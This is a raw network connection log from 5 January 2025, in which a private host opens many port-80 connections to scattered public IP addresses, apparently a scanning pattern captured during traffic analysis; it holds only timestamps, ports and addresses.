Jan 5, 2025 14:26:59.667797089 CET	46652	80	192.168.2.13	139.122.190.32
Jan 5, 2025 14:26:59.667799950 CET	55236	80	192.168.2.13	154.143.100.24
Jan 5, 2025 14:26:59.667803049 CET	52556	80	192.168.2.13	119.187.9.237
Jan 5, 2025 14:26:59.667803049 CET	60500	80	192.168.2.13	196.33.60.124
Jan 5, 2025 14:26:59.667803049 CET	48850	80	192.168.2.13	63.10.28.175
Jan 5, 2025 14:26:59.667804003 CET	45326	80	192.168.2.13	125.37.158.195
Jan 5, 2025 14:26:59.667814970 CET	52834	80	192.168.2.13	216.65.99.84
Jan 5, 2025 14:26:59.667814970 CET	52454	80	192.168.2.13	143.226.147.117
Jan 5, 2025 14:26:59.667819023 CET	43144	80	192.168.2.13	133.24.74.203
Jan 5, 2025 14:26:59.667819977 CET	44340	80	192.168.2.13	108.135.76.215
Jan 5, 2025 14:26:59.667819977 CET	59638	80	192.168.2.13	166.187.77.214
Jan 5, 2025 14:26:59.667819977 CET	33064	80	192.168.2.13	165.168.111.74
Jan 5, 2025 14:26:59.667823076 CET	37114	80	192.168.2.13	184.70.160.254
Jan 5, 2025 14:26:59.667823076 CET	52282	80	192.168.2.13	192.38.223.1
Jan 5, 2025 14:26:59.667823076 CET	60716	80	192.168.2.13	139.252.118.247
Jan 5, 2025 14:26:59.667823076 CET	36532	80	192.168.2.13	5.83.118.174
Jan 5, 2025 14:26:59.667823076 CET	44330	80	192.168.2.13	124.72.203.219
Jan 5, 2025 14:26:59.672509909 CET	80	40210	184.39.176.49	192.168.2.13
Jan 5, 2025 14:26:59.672522068 CET	80	51430	32.164.191.231	192.168.2.13
Jan 5, 2025 14:26:59.672530890 CET	80	59548	49.185.194.134	192.168.2.13
Jan 5, 2025 14:26:59.672540903 CET	80	34752	121.155.195.73	192.168.2.13
Jan 5, 2025 14:26:59.672549009 CET	80	38996	128.250.180.34	192.168.2.13
Jan 5, 2025 14:26:59.672558069 CET	80	60944	97.124.195.81	192.168.2.13
Jan 5, 2025 14:26:59.672566891 CET	40210	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:59.672580957 CET	38996	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:59.672586918 CET	34752	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:59.672596931 CET	60944	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:59.672607899 CET	51430	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:59.672607899 CET	59548	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:59.672708988 CET	56958	80	192.168.2.13	185.180.196.170
Jan 5, 2025 14:26:59.672715902 CET	56958	80	192.168.2.13	164.111.166.10
Jan 5, 2025 14:26:59.672725916 CET	56958	80	192.168.2.13	32.112.37.53
Jan 5, 2025 14:26:59.672725916 CET	56958	80	192.168.2.13	177.133.181.166
Jan 5, 2025 14:26:59.672725916 CET	56958	80	192.168.2.13	151.202.193.208
Jan 5, 2025 14:26:59.672729015 CET	56958	80	192.168.2.13	207.38.16.192
Jan 5, 2025 14:26:59.672729969 CET	56958	80	192.168.2.13	87.27.4.226
Jan 5, 2025 14:26:59.672729969 CET	56958	80	192.168.2.13	52.9.4.121
Jan 5, 2025 14:26:59.672730923 CET	56958	80	192.168.2.13	124.101.111.110
Jan 5, 2025 14:26:59.672741890 CET	56958	80	192.168.2.13	67.60.232.71
Jan 5, 2025 14:26:59.672746897 CET	56958	80	192.168.2.13	68.60.25.185
Jan 5, 2025 14:26:59.672755003 CET	56958	80	192.168.2.13	90.84.177.38
Jan 5, 2025 14:26:59.672755003 CET	56958	80	192.168.2.13	43.146.30.9
Jan 5, 2025 14:26:59.672756910 CET	56958	80	192.168.2.13	136.6.236.85
Jan 5, 2025 14:26:59.672756910 CET	56958	80	192.168.2.13	135.48.79.80
Jan 5, 2025 14:26:59.672765970 CET	56958	80	192.168.2.13	87.216.197.7
Jan 5, 2025 14:26:59.672775030 CET	56958	80	192.168.2.13	63.239.160.56
Jan 5, 2025 14:26:59.672775030 CET	56958	80	192.168.2.13	123.255.209.61
Jan 5, 2025 14:26:59.672775984 CET	56958	80	192.168.2.13	182.162.104.87
Jan 5, 2025 14:26:59.672779083 CET	56958	80	192.168.2.13	179.33.45.52
Jan 5, 2025 14:26:59.672785044 CET	56958	80	192.168.2.13	34.138.211.207
Jan 5, 2025 14:26:59.672787905 CET	56958	80	192.168.2.13	103.66.97.233
Jan 5, 2025 14:26:59.672790051 CET	56958	80	192.168.2.13	220.12.16.209
Jan 5, 2025 14:26:59.672790051 CET	56958	80	192.168.2.13	39.205.167.152
Jan 5, 2025 14:26:59.672791004 CET	56958	80	192.168.2.13	116.180.3.81
Jan 5, 2025 14:26:59.672791958 CET	56958	80	192.168.2.13	164.36.101.22
Jan 5, 2025 14:26:59.672800064 CET	56958	80	192.168.2.13	88.88.204.100
Jan 5, 2025 14:26:59.672800064 CET	56958	80	192.168.2.13	197.175.101.77
Jan 5, 2025 14:26:59.672800064 CET	56958	80	192.168.2.13	57.176.45.201
Jan 5, 2025 14:26:59.672801971 CET	56958	80	192.168.2.13	125.255.28.136
Jan 5, 2025 14:26:59.672801971 CET	56958	80	192.168.2.13	70.214.188.100
Jan 5, 2025 14:26:59.672807932 CET	56958	80	192.168.2.13	150.193.57.161
Jan 5, 2025 14:26:59.672811985 CET	56958	80	192.168.2.13	204.36.243.137
Jan 5, 2025 14:26:59.672825098 CET	56958	80	192.168.2.13	115.33.119.139
Jan 5, 2025 14:26:59.672825098 CET	56958	80	192.168.2.13	91.85.244.148
Jan 5, 2025 14:26:59.672828913 CET	56958	80	192.168.2.13	116.140.30.68
Jan 5, 2025 14:26:59.672832966 CET	56958	80	192.168.2.13	57.238.114.10
Jan 5, 2025 14:26:59.672832966 CET	56958	80	192.168.2.13	101.193.81.22
Jan 5, 2025 14:26:59.672842979 CET	56958	80	192.168.2.13	12.188.232.208
Jan 5, 2025 14:26:59.672842979 CET	56958	80	192.168.2.13	203.101.22.193
Jan 5, 2025 14:26:59.672842979 CET	56958	80	192.168.2.13	211.158.210.247
Jan 5, 2025 14:26:59.672847986 CET	56958	80	192.168.2.13	194.118.31.202
Jan 5, 2025 14:26:59.672847986 CET	56958	80	192.168.2.13	73.27.138.219
Jan 5, 2025 14:26:59.672847986 CET	56958	80	192.168.2.13	86.163.248.158
Jan 5, 2025 14:26:59.672864914 CET	56958	80	192.168.2.13	185.114.110.186
Jan 5, 2025 14:26:59.672864914 CET	56958	80	192.168.2.13	189.140.162.62
Jan 5, 2025 14:26:59.672867060 CET	56958	80	192.168.2.13	20.231.107.196
Jan 5, 2025 14:26:59.672864914 CET	56958	80	192.168.2.13	37.33.77.76
Jan 5, 2025 14:26:59.672869921 CET	56958	80	192.168.2.13	135.173.21.243
Jan 5, 2025 14:26:59.672869921 CET	56958	80	192.168.2.13	92.193.238.151
Jan 5, 2025 14:26:59.672873020 CET	56958	80	192.168.2.13	62.43.64.251
Jan 5, 2025 14:26:59.672873020 CET	56958	80	192.168.2.13	171.197.174.6
Jan 5, 2025 14:26:59.672885895 CET	56958	80	192.168.2.13	131.96.39.181
Jan 5, 2025 14:26:59.672888994 CET	56958	80	192.168.2.13	170.42.85.11
Jan 5, 2025 14:26:59.672888994 CET	56958	80	192.168.2.13	71.170.167.103
Jan 5, 2025 14:26:59.672888994 CET	56958	80	192.168.2.13	4.160.157.75
Jan 5, 2025 14:26:59.672888994 CET	56958	80	192.168.2.13	32.162.121.74
Jan 5, 2025 14:26:59.672889948 CET	56958	80	192.168.2.13	99.254.40.191
Jan 5, 2025 14:26:59.672889948 CET	56958	80	192.168.2.13	48.197.52.45
Jan 5, 2025 14:26:59.672893047 CET	56958	80	192.168.2.13	138.150.97.250
Jan 5, 2025 14:26:59.672893047 CET	56958	80	192.168.2.13	50.135.240.87
Jan 5, 2025 14:26:59.672898054 CET	56958	80	192.168.2.13	154.135.186.163
Jan 5, 2025 14:26:59.672898054 CET	56958	80	192.168.2.13	20.95.118.17
Jan 5, 2025 14:26:59.672903061 CET	56958	80	192.168.2.13	25.88.43.155
Jan 5, 2025 14:26:59.672903061 CET	56958	80	192.168.2.13	186.232.207.52
Jan 5, 2025 14:26:59.672903061 CET	56958	80	192.168.2.13	209.34.145.167
Jan 5, 2025 14:26:59.672916889 CET	56958	80	192.168.2.13	31.82.71.201
Jan 5, 2025 14:26:59.672916889 CET	56958	80	192.168.2.13	103.69.53.119
Jan 5, 2025 14:26:59.672918081 CET	56958	80	192.168.2.13	158.90.175.48
Jan 5, 2025 14:26:59.672919035 CET	56958	80	192.168.2.13	160.147.38.107
Jan 5, 2025 14:26:59.672919035 CET	56958	80	192.168.2.13	78.41.196.126
Jan 5, 2025 14:26:59.672919035 CET	56958	80	192.168.2.13	179.26.167.82
Jan 5, 2025 14:26:59.672920942 CET	56958	80	192.168.2.13	223.96.91.171
Jan 5, 2025 14:26:59.672919035 CET	56958	80	192.168.2.13	107.212.226.92
Jan 5, 2025 14:26:59.672919035 CET	56958	80	192.168.2.13	106.63.159.154
Jan 5, 2025 14:26:59.672925949 CET	56958	80	192.168.2.13	184.105.8.95
Jan 5, 2025 14:26:59.672929049 CET	56958	80	192.168.2.13	1.142.136.133
Jan 5, 2025 14:26:59.672929049 CET	56958	80	192.168.2.13	206.37.191.19
Jan 5, 2025 14:26:59.672929049 CET	56958	80	192.168.2.13	120.37.82.13
Jan 5, 2025 14:26:59.672934055 CET	56958	80	192.168.2.13	126.250.71.7
Jan 5, 2025 14:26:59.672934055 CET	56958	80	192.168.2.13	49.186.19.174
Jan 5, 2025 14:26:59.672935009 CET	56958	80	192.168.2.13	181.184.221.194
Jan 5, 2025 14:26:59.672935009 CET	56958	80	192.168.2.13	2.179.164.25
Jan 5, 2025 14:26:59.672939062 CET	80	57086	46.224.56.104	192.168.2.13
Jan 5, 2025 14:26:59.672944069 CET	56958	80	192.168.2.13	44.155.24.165
Jan 5, 2025 14:26:59.672944069 CET	56958	80	192.168.2.13	195.82.38.50
Jan 5, 2025 14:26:59.672946930 CET	56958	80	192.168.2.13	167.107.48.10
Jan 5, 2025 14:26:59.672947884 CET	56958	80	192.168.2.13	194.251.49.66
Jan 5, 2025 14:26:59.672946930 CET	56958	80	192.168.2.13	2.158.7.110
Jan 5, 2025 14:26:59.672947884 CET	56958	80	192.168.2.13	136.31.143.160
Jan 5, 2025 14:26:59.672949076 CET	80	54586	132.108.249.151	192.168.2.13
Jan 5, 2025 14:26:59.672960043 CET	56958	80	192.168.2.13	37.117.73.118
Jan 5, 2025 14:26:59.672960997 CET	80	60414	187.178.160.113	192.168.2.13
Jan 5, 2025 14:26:59.672957897 CET	56958	80	192.168.2.13	98.138.190.213
Jan 5, 2025 14:26:59.672957897 CET	56958	80	192.168.2.13	143.159.92.84
Jan 5, 2025 14:26:59.672964096 CET	56958	80	192.168.2.13	188.221.166.124
Jan 5, 2025 14:26:59.672970057 CET	56958	80	192.168.2.13	166.182.207.12
Jan 5, 2025 14:26:59.672970057 CET	80	41334	64.50.196.133	192.168.2.13
Jan 5, 2025 14:26:59.672979116 CET	80	52328	40.133.17.244	192.168.2.13
Jan 5, 2025 14:26:59.672979116 CET	56958	80	192.168.2.13	42.77.163.78
Jan 5, 2025 14:26:59.672979116 CET	56958	80	192.168.2.13	39.83.170.221
Jan 5, 2025 14:26:59.672979116 CET	57086	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:59.672979116 CET	56958	80	192.168.2.13	25.252.222.32
Jan 5, 2025 14:26:59.672979116 CET	54586	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:59.672986984 CET	80	44682	169.194.176.114	192.168.2.13
Jan 5, 2025 14:26:59.672991991 CET	60414	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:59.672996998 CET	80	54974	54.151.72.99	192.168.2.13
Jan 5, 2025 14:26:59.673001051 CET	41334	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:59.673001051 CET	52328	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:59.673005104 CET	80	38338	198.38.240.51	192.168.2.13
Jan 5, 2025 14:26:59.673015118 CET	80	42852	110.169.6.176	192.168.2.13
Jan 5, 2025 14:26:59.673022985 CET	44682	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:59.673023939 CET	54974	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:59.673023939 CET	80	46420	44.162.94.163	192.168.2.13
Jan 5, 2025 14:26:59.673032999 CET	56958	80	192.168.2.13	63.46.200.113
Jan 5, 2025 14:26:59.673033953 CET	56958	80	192.168.2.13	131.224.160.81
Jan 5, 2025 14:26:59.673033953 CET	80	59422	14.81.236.190	192.168.2.13
Jan 5, 2025 14:26:59.673033953 CET	56958	80	192.168.2.13	118.73.200.251
Jan 5, 2025 14:26:59.673033953 CET	56958	80	192.168.2.13	175.2.229.2
Jan 5, 2025 14:26:59.673041105 CET	56958	80	192.168.2.13	31.89.163.121
Jan 5, 2025 14:26:59.673041105 CET	42852	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:59.673046112 CET	80	56606	90.185.103.33	192.168.2.13
Jan 5, 2025 14:26:59.673051119 CET	38338	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:59.673055887 CET	80	51032	218.135.140.108	192.168.2.13
Jan 5, 2025 14:26:59.673058033 CET	56958	80	192.168.2.13	179.159.34.189
Jan 5, 2025 14:26:59.673064947 CET	80	58378	153.152.78.14	192.168.2.13
Jan 5, 2025 14:26:59.673067093 CET	46420	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:59.673070908 CET	56958	80	192.168.2.13	132.50.102.215
Jan 5, 2025 14:26:59.673074007 CET	59422	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:59.673074007 CET	80	57168	160.232.8.64	192.168.2.13
Jan 5, 2025 14:26:59.673074961 CET	56606	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:59.673084021 CET	80	47928	172.114.95.204	192.168.2.13
Jan 5, 2025 14:26:59.673091888 CET	56958	80	192.168.2.13	148.235.131.41
Jan 5, 2025 14:26:59.673093081 CET	80	38300	160.12.31.23	192.168.2.13
Jan 5, 2025 14:26:59.673094034 CET	56958	80	192.168.2.13	152.94.79.12
Jan 5, 2025 14:26:59.673094034 CET	58378	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:59.673098087 CET	57168	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:59.673101902 CET	80	42078	90.250.128.19	192.168.2.13
Jan 5, 2025 14:26:59.673109055 CET	56958	80	192.168.2.13	146.240.99.19
Jan 5, 2025 14:26:59.673109055 CET	56958	80	192.168.2.13	180.25.216.82
Jan 5, 2025 14:26:59.673110962 CET	80	47872	200.63.240.141	192.168.2.13
Jan 5, 2025 14:26:59.673120022 CET	51032	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:26:59.673122883 CET	80	51558	165.4.191.158	192.168.2.13
Jan 5, 2025 14:26:59.673125982 CET	47928	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:59.673126936 CET	38300	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:59.673126936 CET	42078	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:59.673132896 CET	80	56770	186.181.40.84	192.168.2.13
Jan 5, 2025 14:26:59.673139095 CET	56958	80	192.168.2.13	197.226.174.77
Jan 5, 2025 14:26:59.673137903 CET	56958	80	192.168.2.13	60.27.253.11
Jan 5, 2025 14:26:59.673141003 CET	80	46532	192.247.19.115	192.168.2.13
Jan 5, 2025 14:26:59.673141003 CET	56958	80	192.168.2.13	116.244.145.165
Jan 5, 2025 14:26:59.673151016 CET	80	55128	72.56.147.96	192.168.2.13
Jan 5, 2025 14:26:59.673154116 CET	56958	80	192.168.2.13	36.74.203.42
Jan 5, 2025 14:26:59.673154116 CET	56958	80	192.168.2.13	137.2.51.168
Jan 5, 2025 14:26:59.673158884 CET	51558	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:59.673158884 CET	56958	80	192.168.2.13	99.73.156.43
Jan 5, 2025 14:26:59.673158884 CET	56770	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:59.673161030 CET	56958	80	192.168.2.13	20.14.9.214
Jan 5, 2025 14:26:59.673161030 CET	80	47862	94.138.141.185	192.168.2.13
Jan 5, 2025 14:26:59.673165083 CET	47872	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:59.673166990 CET	56958	80	192.168.2.13	68.99.54.219
Jan 5, 2025 14:26:59.673171043 CET	80	41564	20.87.241.88	192.168.2.13
Jan 5, 2025 14:26:59.673177958 CET	55128	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:59.673178911 CET	80	33370	49.173.231.143	192.168.2.13
Jan 5, 2025 14:26:59.673187017 CET	80	44540	105.173.184.192	192.168.2.13
Jan 5, 2025 14:26:59.673188925 CET	56958	80	192.168.2.13	183.128.114.252
Jan 5, 2025 14:26:59.673188925 CET	56958	80	192.168.2.13	51.70.107.119
Jan 5, 2025 14:26:59.673193932 CET	46532	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:59.673196077 CET	80	42836	61.226.178.38	192.168.2.13
Jan 5, 2025 14:26:59.673199892 CET	56958	80	192.168.2.13	100.141.68.16
Jan 5, 2025 14:26:59.673196077 CET	56958	80	192.168.2.13	57.222.44.91
Jan 5, 2025 14:26:59.673196077 CET	33370	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:59.673204899 CET	80	45620	37.168.163.42	192.168.2.13
Jan 5, 2025 14:26:59.673212051 CET	47862	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:59.673212051 CET	44540	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:59.673213959 CET	41564	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:59.673216105 CET	80	45330	139.30.30.163	192.168.2.13
Jan 5, 2025 14:26:59.673224926 CET	80	51950	182.58.107.213	192.168.2.13
Jan 5, 2025 14:26:59.673233032 CET	80	38694	177.16.157.212	192.168.2.13
Jan 5, 2025 14:26:59.673234940 CET	42836	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:59.673234940 CET	56958	80	192.168.2.13	68.107.122.19
Jan 5, 2025 14:26:59.673234940 CET	45330	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:59.673235893 CET	45620	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:59.673237085 CET	56958	80	192.168.2.13	104.201.134.130
Jan 5, 2025 14:26:59.673243046 CET	80	38012	171.208.31.151	192.168.2.13
Jan 5, 2025 14:26:59.673254013 CET	56958	80	192.168.2.13	171.184.71.40
Jan 5, 2025 14:26:59.673254013 CET	56958	80	192.168.2.13	36.57.133.192
Jan 5, 2025 14:26:59.673254967 CET	80	54086	88.28.204.158	192.168.2.13
Jan 5, 2025 14:26:59.673255920 CET	51950	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:59.673261881 CET	56958	80	192.168.2.13	64.145.57.190
Jan 5, 2025 14:26:59.673261881 CET	56958	80	192.168.2.13	107.95.66.125
Jan 5, 2025 14:26:59.673269987 CET	80	35758	199.149.8.144	192.168.2.13
Jan 5, 2025 14:26:59.673273087 CET	38694	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:59.673279047 CET	80	38152	5.197.123.230	192.168.2.13
Jan 5, 2025 14:26:59.673281908 CET	38012	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:59.673284054 CET	56958	80	192.168.2.13	37.47.153.16
Jan 5, 2025 14:26:59.673288107 CET	56958	80	192.168.2.13	81.221.0.221
Jan 5, 2025 14:26:59.673288107 CET	80	46868	84.142.197.17	192.168.2.13
Jan 5, 2025 14:26:59.673288107 CET	56958	80	192.168.2.13	207.126.57.23
Jan 5, 2025 14:26:59.673294067 CET	56958	80	192.168.2.13	134.240.148.107
Jan 5, 2025 14:26:59.673294067 CET	56958	80	192.168.2.13	90.237.194.211
Jan 5, 2025 14:26:59.673295975 CET	56958	80	192.168.2.13	110.19.147.220
Jan 5, 2025 14:26:59.673295975 CET	56958	80	192.168.2.13	24.240.128.167
Jan 5, 2025 14:26:59.673297882 CET	80	42248	151.106.177.94	192.168.2.13
Jan 5, 2025 14:26:59.673305035 CET	54086	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:59.673306942 CET	80	38494	126.184.49.221	192.168.2.13
Jan 5, 2025 14:26:59.673310041 CET	56958	80	192.168.2.13	141.3.24.241
Jan 5, 2025 14:26:59.673310041 CET	56958	80	192.168.2.13	209.50.98.194
Jan 5, 2025 14:26:59.673316956 CET	80	43442	35.41.199.92	192.168.2.13
Jan 5, 2025 14:26:59.673319101 CET	56958	80	192.168.2.13	152.116.102.88
Jan 5, 2025 14:26:59.673321962 CET	56958	80	192.168.2.13	156.2.178.229
Jan 5, 2025 14:26:59.673326015 CET	80	56132	99.165.239.189	192.168.2.13
Jan 5, 2025 14:26:59.673326969 CET	35758	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:59.673326969 CET	46868	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:59.673329115 CET	38152	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:59.673331022 CET	56958	80	192.168.2.13	12.133.132.249
Jan 5, 2025 14:26:59.673336029 CET	80	47242	99.44.37.44	192.168.2.13
Jan 5, 2025 14:26:59.673340082 CET	42248	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:59.673346043 CET	80	58376	36.162.123.56	192.168.2.13
Jan 5, 2025 14:26:59.673347950 CET	43442	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:59.673347950 CET	56958	80	192.168.2.13	86.73.182.22
Jan 5, 2025 14:26:59.673353910 CET	56958	80	192.168.2.13	70.130.33.255
Jan 5, 2025 14:26:59.673355103 CET	80	45606	51.92.13.108	192.168.2.13
Jan 5, 2025 14:26:59.673356056 CET	38494	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:59.673360109 CET	56958	80	192.168.2.13	75.246.100.223
Jan 5, 2025 14:26:59.673360109 CET	56958	80	192.168.2.13	44.171.47.136
Jan 5, 2025 14:26:59.673365116 CET	80	55508	44.47.134.77	192.168.2.13
Jan 5, 2025 14:26:59.673373938 CET	80	51228	99.107.143.62	192.168.2.13
Jan 5, 2025 14:26:59.673374891 CET	56132	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:59.673377991 CET	47242	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:59.673378944 CET	56958	80	192.168.2.13	97.64.112.144
Jan 5, 2025 14:26:59.673379898 CET	56958	80	192.168.2.13	38.252.69.236
Jan 5, 2025 14:26:59.673379898 CET	56958	80	192.168.2.13	49.142.6.27
Jan 5, 2025 14:26:59.673384905 CET	80	39848	123.140.128.249	192.168.2.13
Jan 5, 2025 14:26:59.673388004 CET	45606	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:59.673393011 CET	58376	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:59.673393965 CET	80	46792	154.45.118.128	192.168.2.13
Jan 5, 2025 14:26:59.673403025 CET	51228	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:59.673403978 CET	80	59688	94.35.93.233	192.168.2.13
Jan 5, 2025 14:26:59.673404932 CET	55508	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:59.673407078 CET	56958	80	192.168.2.13	90.131.251.108
Jan 5, 2025 14:26:59.673408031 CET	56958	80	192.168.2.13	168.194.26.120
Jan 5, 2025 14:26:59.673413992 CET	80	56634	143.179.29.18	192.168.2.13
Jan 5, 2025 14:26:59.673417091 CET	56958	80	192.168.2.13	95.142.145.128
Jan 5, 2025 14:26:59.673422098 CET	46792	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:59.673423052 CET	80	42328	121.29.46.224	192.168.2.13
Jan 5, 2025 14:26:59.673433065 CET	39848	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:59.673434019 CET	80	55462	90.167.60.3	192.168.2.13
Jan 5, 2025 14:26:59.673444033 CET	59688	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:59.673445940 CET	56958	80	192.168.2.13	66.75.15.78
Jan 5, 2025 14:26:59.673445940 CET	56958	80	192.168.2.13	71.58.202.119
Jan 5, 2025 14:26:59.673449993 CET	56634	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:59.673449993 CET	56958	80	192.168.2.13	178.96.17.131
Jan 5, 2025 14:26:59.673458099 CET	80	51912	59.172.117.26	192.168.2.13
Jan 5, 2025 14:26:59.673468113 CET	80	46776	49.191.8.68	192.168.2.13
Jan 5, 2025 14:26:59.673471928 CET	80	57204	188.181.2.153	192.168.2.13
Jan 5, 2025 14:26:59.673474073 CET	42328	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:59.673474073 CET	56958	80	192.168.2.13	50.142.107.88
Jan 5, 2025 14:26:59.673474073 CET	56958	80	192.168.2.13	172.160.221.81
Jan 5, 2025 14:26:59.673475027 CET	56958	80	192.168.2.13	90.107.35.217
Jan 5, 2025 14:26:59.673477888 CET	56958	80	192.168.2.13	142.246.112.8
Jan 5, 2025 14:26:59.673477888 CET	56958	80	192.168.2.13	14.244.53.98
Jan 5, 2025 14:26:59.673477888 CET	56958	80	192.168.2.13	48.137.13.160
Jan 5, 2025 14:26:59.673477888 CET	56958	80	192.168.2.13	158.136.133.173
Jan 5, 2025 14:26:59.673480988 CET	55462	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:59.673481941 CET	80	50204	64.101.190.89	192.168.2.13
Jan 5, 2025 14:26:59.673487902 CET	51912	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:59.673491955 CET	80	35922	57.62.244.9	192.168.2.13
Jan 5, 2025 14:26:59.673495054 CET	56958	80	192.168.2.13	181.36.10.134
Jan 5, 2025 14:26:59.673495054 CET	56958	80	192.168.2.13	209.31.127.203
Jan 5, 2025 14:26:59.673495054 CET	56958	80	192.168.2.13	192.8.124.30
Jan 5, 2025 14:26:59.673496962 CET	56958	80	192.168.2.13	164.139.136.2
Jan 5, 2025 14:26:59.673495054 CET	56958	80	192.168.2.13	181.216.69.217
Jan 5, 2025 14:26:59.673501015 CET	80	41666	105.224.183.34	192.168.2.13
Jan 5, 2025 14:26:59.673506021 CET	46776	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:59.673506021 CET	56958	80	192.168.2.13	40.212.118.4
Jan 5, 2025 14:26:59.673506021 CET	56958	80	192.168.2.13	100.221.45.202
Jan 5, 2025 14:26:59.673506975 CET	50204	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:59.673510075 CET	80	59958	41.87.48.244	192.168.2.13
Jan 5, 2025 14:26:59.673511028 CET	57204	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:59.673515081 CET	35922	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:59.673518896 CET	80	40626	209.47.23.74	192.168.2.13
Jan 5, 2025 14:26:59.673527002 CET	41666	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:59.673528910 CET	80	41928	130.237.101.84	192.168.2.13
Jan 5, 2025 14:26:59.673536062 CET	56958	80	192.168.2.13	99.21.247.168
Jan 5, 2025 14:26:59.673537970 CET	56958	80	192.168.2.13	197.174.27.229
Jan 5, 2025 14:26:59.673544884 CET	56958	80	192.168.2.13	132.33.221.48
Jan 5, 2025 14:26:59.673544884 CET	56958	80	192.168.2.13	85.74.157.129
Jan 5, 2025 14:26:59.673548937 CET	56958	80	192.168.2.13	89.165.215.122
Jan 5, 2025 14:26:59.673549891 CET	56958	80	192.168.2.13	155.138.168.6
Jan 5, 2025 14:26:59.673549891 CET	56958	80	192.168.2.13	36.101.73.24
Jan 5, 2025 14:26:59.673553944 CET	40626	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:59.673553944 CET	41928	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:59.673557043 CET	59958	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:59.673566103 CET	56958	80	192.168.2.13	170.147.215.96
Jan 5, 2025 14:26:59.673573971 CET	56958	80	192.168.2.13	72.170.48.44
Jan 5, 2025 14:26:59.673578024 CET	56958	80	192.168.2.13	24.44.192.207
Jan 5, 2025 14:26:59.673578024 CET	56958	80	192.168.2.13	138.14.104.129
Jan 5, 2025 14:26:59.673582077 CET	56958	80	192.168.2.13	57.118.183.230
Jan 5, 2025 14:26:59.673582077 CET	56958	80	192.168.2.13	191.175.149.50
Jan 5, 2025 14:26:59.673592091 CET	56958	80	192.168.2.13	147.8.178.236
Jan 5, 2025 14:26:59.673593044 CET	56958	80	192.168.2.13	219.195.82.25
Jan 5, 2025 14:26:59.673593044 CET	56958	80	192.168.2.13	9.123.99.253
Jan 5, 2025 14:26:59.673599005 CET	56958	80	192.168.2.13	164.186.193.18
Jan 5, 2025 14:26:59.673599958 CET	56958	80	192.168.2.13	217.243.186.50
Jan 5, 2025 14:26:59.673604012 CET	56958	80	192.168.2.13	164.124.250.62
Jan 5, 2025 14:26:59.673604012 CET	56958	80	192.168.2.13	18.115.201.255
Jan 5, 2025 14:26:59.673613071 CET	56958	80	192.168.2.13	178.24.171.138
Jan 5, 2025 14:26:59.673613071 CET	56958	80	192.168.2.13	132.56.162.30
Jan 5, 2025 14:26:59.673616886 CET	56958	80	192.168.2.13	216.71.43.245
Jan 5, 2025 14:26:59.673618078 CET	56958	80	192.168.2.13	94.16.17.130
